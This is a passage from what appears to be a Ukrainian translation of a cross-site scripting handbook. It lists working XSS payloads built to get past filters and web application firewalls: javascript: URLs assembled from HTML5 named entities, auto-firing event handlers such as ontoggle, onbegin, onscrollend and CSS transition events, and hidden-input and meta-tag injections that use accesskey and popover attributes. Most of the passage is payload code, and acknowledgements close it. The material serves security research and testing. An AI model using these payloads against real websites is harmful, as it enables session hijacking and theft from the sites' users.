<a href="#" onclick="alert(title)" title="&lt!----&gt">test2</a>
```

У першому прикладі знак більше буде декодовано, а знак менше — ні, однак у другому прикладі обидва будуть декодовані. Це тому, що браузер очікує крапку з комою або продовження іменованої сутності, оскільки знак оклику не призведе до створення дійсної сутності, браузер, таким чином, знає, що ви маєте на увазі <.

8.16.4: Іменовані сутності HTML5

HTML5 запровадив купу нових сутностей, які корисні для XSS. Але щоб їх використати, їх потрібно правильно сформувати. Це означає, що не повинно бути пропущеної крапки з комою. З усіх сутностей : є, мабуть, найбільш корисною, оскільки ви можете використовувати її для впровадження протоколу JavaScript без двокрапки:

```
<a href="javascript&colon;alert(1337)">test</a>
```

Інші помітні сутності: ()\[]{}

(перекладається як відкриваюча дужка, а) - як закриваюча дужка. \ є символом зворотної косої риски, а [і] - це квадратні дужки, і { та } - це праві та ліві фігурні дужки. Ось як використовувати сутності (та):

```
<a href="javascript&colon;alert&lpar;1337&rpar;">test</a>
```

Існують навіть сутності для нового рядка та табуляції, які, як ми дізналися в розділі про fuzzing, можна використовувати всередині протоколу JavaScript:

```
<a href="jav&NewLine;as&Tab;cript&colon;alert&lpar;1337&rpar;">test</a>
```

Якщо вам вдасться непомітно вставити URL JavaScript, але дужки блокуються WAF, ви можете використовувати іменовані сутності для символу зворотного апострофа, насправді їх є два, і обидва працюють:

```
<a href="javascript:alert&grave;1337&grave;">test</a>
<a href="javascript:alert&DiacriticalGrave;1337&DiacriticalGrave;">test</a>
```

8.17: Події

8.17.1: onafterscriptexecute

Існує багато значущих подій, які спрацьовують без взаємодії користувача, і вони є найбільш корисними, оскільки вам не потрібно переконувати жертву натискати на що-небудь. Я збираюся виокремити менш відомі події, оскільки вони будуть найбільш корисними для обходу фільтрів та WAFs. Подія onafterscriptexecute є унікальною для Firefox, і, як випливає з назви, спрацьовує після виконання скрипта. Що дійсно круто в цій події, так це те, що її можна використовувати на будь-якому тегу, єдиний недолік - це те, що скрипт повинен бути всередині тега, який ви ін'єкціонуєте:

```
<xss onafterscriptexecute=alert(1)><script>1</script>
```

Ви можете використати це, щоб вставити відкриваючий тег, і існуючий скрипт може бути завантажений всередину нього, цього буде достатньо, щоб запустити подію. Існує пов'язана подія під назвою onbeforescriptexecute, знову ж таки, це лише для Firefox і вимагає існуючого скрипту.

8.17.2: ontoggle

Це, мабуть, більш відоме, ніж інші трюки. Ви можете автоматично запустити подію ontoggle, якщо примусово розгорнете елемент details.

```
<details ontoggle=alert(1) open>test</details>
```

8.17.3: onunhandledrejection

Це відносно мало відома подія, яка працює тільки у Firefox. Вона вимагає promise без catch clause. Щоб експлуатувати сайт з цим, вам потрібен існуючий скрипт, який має необроблене відхилення.

```
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
```

8.17.4: onbegin

SVG містить багато цікавих подій, onbegin спрацьовує, коли починається анімація, і є досить коротким, що завжди добре для XSS-пейлоада. Щоб використовувати його, необхідно використовувати тег animate і задати йому атрибут для анімації та її тривалість:

```
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
```

Це також має пов'язаний тег під назвою onend, який спрацьовує, коли анімація закінчується. Він також вимагає атрибута для визначення його тривалості та атрибута для анімації.

8.17.5: Події на основі навігації

Існує кілька подій, які ви можете використовувати, що вимагають певної навігації для їх запуску. Однією з таких подій є onpopstate, яка спрацьовує, коли змінюється історія. Щоб викликати цю подію, ви повинні змінити URL цілі певним чином. Це, швидше за все, має включати iframe, варто зазначити, що при використанні iframe з перехресним походженням alert() не працюватиме, ви повинні використовувати функцію print() замість нього. Ось декілька прикладів:

```
<body onpopstate=alert(1)><script>location.hash=1</script>

<iframe src="//target?x=<body/onpopstate=print()>" onload=this.src%2b='%23'>
```

Ви можете знову використовувати iframes, щоб викликати зміну хеш-частини URL для запуску подій, таких як hashchange:

```
<iframe src="//target?x=<body/onhashchange=print()>" onload=this.src%2b='%23'>
```

8.17.6: onmessage

Використовуючи iframes, ви знову можете завантажити зовнішній URL з вашим впровадженням обробника onmessage, а потім використовуючи postMessage, щоб викликати подію:

```
<iframe src="//target?x=<body/onmessage=print()>" onload=this.contentWindow.postMess\
age('x','*')>
```

8.17.7: onfocus

Зазвичай ця подія може ініціюватися за допомогою textarea або input за допомогою атрибута autofocus. Можливо також зробити так, щоб ця подія працювала на інших елементах, використовуючи tabindex та атрибут id. Tabindex - це атрибут доступності, який дозволяє вибрати порядок, у якому елементи на сторінці вибираються при натисканні клавіші табуляції. Поєднуючи це з атрибутом id і використовуючи хеш з URL, елемент автоматично отримає фокус:

```
<x onfocus=alert(1) id=x tabindex=1>
```

somepage.html#x

Є ще один трюк: ви можете використовувати атрибут autofocus на будь-якому елементі, принаймні, у Chrome, за умови, що ви використовуєте його разом з tabindex. Це означає, що вам не потрібен атрибут id або хеш:

```
<x onfocus=alert(1) autofocus tabindex=1>
```

Подібним чином існує пов'язана подія під назвою onfocusin, яку ви можете використовувати для обходу WAF і мати ту ж поведінку, описану вище.

8.17.8: Події на основі анімації

Добре відомо, що ви можете використовувати CSS transitions/animations для виклику подій у будь-якому тегу. Якщо ви не знаєте, ось як це зробити:

```
<style>:target {color: red;}</style>
<xss id=x style="transition:color 10s" ontransitioncancel=print()></xss>
```

somepage.html#x

Це працює шляхом використання селектора :target для зміни стилів елемента, коли ідентифікатор, вказаний у хеш-частині URL, знайдено. Це потім запускає подію. Недоліком цього підходу є те, що він вимагає блок стилів, який, можливо, буде заблоковано WAF або фільтром. Проте є інший спосіб: ми можемо використати трюк, описаний раніше, щоб зосередити елемент, і оскільки Chrome додає CSS контур до сфокусованих елементів, ви можете використовувати перехід, який запустить подію через зміну контуру:

```
<xss id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></xss>
```

somepage.html#x

Якщо у вас виникають труднощі з впровадженням цієї події, завжди можна скористатися варіантом webkit:

```
<xss id=x style="transition:outline 1s" onwebkittransitionend=alert(1) tabindex=1></\
xss>
```

somepage.html#x

8.17.9: onscrollend

Firefox запровадив, а пізніше Chrome реалізував нову подію під назвою onscrollend. Як випливає з назви, ця подія виконується після прокручування елемента. Що чудово в цій події, це те, що вона застосовується до кожного елемента, який може прокручуватися, а таких елементів багато. Вам просто потрібно включити деякі стилі, які змушують елемент прокручуватися. Використовуючи атрибут id, ви можете використати прийом з фокусом, згаданий раніше, щоб змусити елемент прокручуватися і таким чином автоматично виконувати JavaScript.

```
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width\
:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><b
r><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x
>test</span></xss>
```

8.18: XSS у прихованих ввідних полях

Ви могли зустріти XSS всередині атрибута прихованого вводу з кутовими дужками, що кодуються. Але через обмежену кількість подій, які виконуються з прихованими ввідними полями, ви могли не змогти викликати сповіщення. Не хвилюйтеся, є спосіб, і він передбачає значну взаємодію з користувачем. Ключовим є використання атрибута accesskey. Цей атрибут дозволяє призначити клавішу для активації елемента, що запускає події. Це корисно для доступності, дозволяючи користувачеві навігацію за допомогою клавіатури або екранного читача. Ви також можете використовувати його для XSS!

У наступному прикладі атрибут accesskey призначений клавіші “X”, і подія onclick додані до прихованого ввідного поля.

```
<input type="hidden" accesskey="X" onclick="alert(1)">
```

Коли натискаються клавіші ALT+SHIFT+X на Windows або CTRL+ALT+X на OS X, подія onclick спрацює, навіть якщо це прихований елемент вводу. Це також працює з іншими елементами, такими як посилання:

```
<link rel="canonical" accesskey="X" onclick="alert(1)" />
```

Chrome і Firefox підтримують цю поведінку, але клавіатурна команда може відрізнятися, я продемонстрував клавіші для Chrome.

8.19: Спливаючі вікна

Chrome запровадив захоплюючу нову функціональність в HTML, яка називається спливаючі вікна. Вони дозволяють відкривати лише HTML спливаючі модальні вікна, це фактично дозволяє HTML мати стан і відкриває ще більше векторів XSS.

Як це працює: у вас є цільове спливаюче вікно (яке діє як ваше модальне діалогове вікно) і є якір або кнопка, які націлені на це модальне вікно.

```
<button popovertarget=myPopover>Hello</button>

<div id=myPopover popover>Hello world!</div>
```

Наведений вище код використовує кнопку і визначає атрибут popovertarget, що пов'язує кнопку з модальним вікном. Нижче розташований div з id, який ідентифікує спливаюче вікно. Для того, щоб div елемент працював як спливаюче вікно, йому потрібен атрибут popover, який приховує цей елемент. Коли кнопка натискається, елемент div буде показаний з повідомленням "Hello world!".

Чому це корисно для XSS? Це вводить нові події, які можна використовувати, але не тільки це - це також дозволяє виконувати ці події на будь-якому тегу, що може дозволити вам виконувати JavaScript з мета-тегу або інших.

Якщо додати одну з подій до div модального вікна, яке ми створили раніше, ви побачите, як працює подія onbeforetoggle:

```
<button popovertarget=myPopover>Hello</button>

<div id=myPopover popover onbeforetoggle=alert(1)>Hello world!</div>
```

Також існує подія ontoggle, яка, як випливає з назви, виконується при перемиканні модального вікна:

```
<button popovertarget=myPopover>Hello</button>

<div id=myPopover popover ontoggle=alert(1)>Hello world!</div>
```

Нещодавно я писав у блозі про це, і мій друг Маріо Хайдеріх помітив, що ці події також працюють з прихованими полями введення!

```
<button popovertarget=myPopup>Click me</button>

<input type=hidden id=myPopup onbeforetoggle=alert(1) popover>
```

Ви могли б подумати, що приховані поля вводу виключені з можливості бути спливаючим вікном, але ні, ви можете зробити це в Chrome і, можливо, в інших браузерах, коли вони це підтримують. Це корисно, тому що ви можете мати ін'єкцію всередині прихованого поля вводу, але кутові дужки закодовані. Ви можете використовувати цю техніку, щоб націлити на існуюче спливаюче вікно на сторінці (за умови, що ваша ін'єкція з'являється першою). Потім використовуйте onbeforetoggle, щоб виконати ваш JavaScript, коли існуюча кнопка або елемент якоря натиснуті.

Матіас Карлссон також зазначив, що ви можете використовувати спливаючі вікна з meta-елементами. Зазвичай ви не можете виконати більшість подій з meta, але завдяки спливаючим вікнам ви можете використовувати ontoggle і onbeforetoggle, за умови, що на сторінці знову є існуюче спливаюче вікно.

```
<head>
<!-- Injection occurs inside meta attribute -->
<meta name="apple-mobile-web-app-title" content="Twitter" popover id=newsletter onbe\
foretoggle=alert(1) />
</head>
<body>
<!-- Existing code -->
<button popovertarget=newsletter>Subscribe to my newsletter</button>
<div popover id=newsletter>My news letter popup</div>
<!-- End existing code -->
</body>
```

У наведеному прикладі є деякий існуючий код, де цей вигаданий додаток дозволяє користувачеві підписатися на розсилку новин і використовує спливаюче вікно для відображення діалогового вікна. Він також містить уразливість ін'єкції, яка виникає в атрибуті meta. Кутові дужки закодовані, що означає, що ви можете ін'єктувати лише атрибути, але оскільки тег meta з'являється першим, ми можемо захопити існуюче спливаюче вікно і, таким чином, подія onbeforetoggle спрацює, коли буде натиснута існуюча кнопка "Підписатися на мою розсилку новин".

8.20: Підсумок

Ми розглянули багато в цьому розділі. Я фактично намагався зробити вивантаження мозку з незрозумілих прийомів, які я міг придумати, або відповідей на питання, які мені задавали в Twitter. Спочатку ми розглянули, як закривати скрипти без закриваючого тега . Потім розглянули, як зловживати HTML-коментарями всередині скриптів, HTML-сутностями всередині SVG, як використовувати window.name для перенесення корисних навантажень і файлів cookie. Ми дізналися, як використовувати карти джерел для відправки пінгбеку на сервер, контрольований зловмисником. Після цього ми продемонстрували нову JavaScript-діру під назвою navigate(), яка працює в Chrome. Далі ми розглянули всі коментарі в JavaScript і символи пробілу. Пізніше ми показали, як використовувати динамічні імпорти з URL даних. Потім ми розглянули, як отримати HTML всередині XML-документа. Після цього ми показали, як використовувати завантаження SVG та елементи use. Після цього ми розглянули HTML-сутності і нарешті завершили деякими менш відомими подіями JavaScript.

9: Подяки

Хоча я написав цю книгу, я не зробив це самостійно, завдяки чудовим хакерам, які діляться своїми знаннями в інтернеті. Багато технік у цій книзі були відкриті хакерами, що діляться знаннями та навчаються разом.

Велика подяка:

James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jann Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, S0PAS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C., gadhiyasavan, p4fg, diofeher, Sergey Bobrov, PwnFunction, Guilherme Keerok, Alex Brasetvik, s1r1us, ngyikp, the-xentropy, Rando111111, Fzs, Sivakumar, Dwi Siswanto, bxmbn, Tarunkant Gupta, laytonctf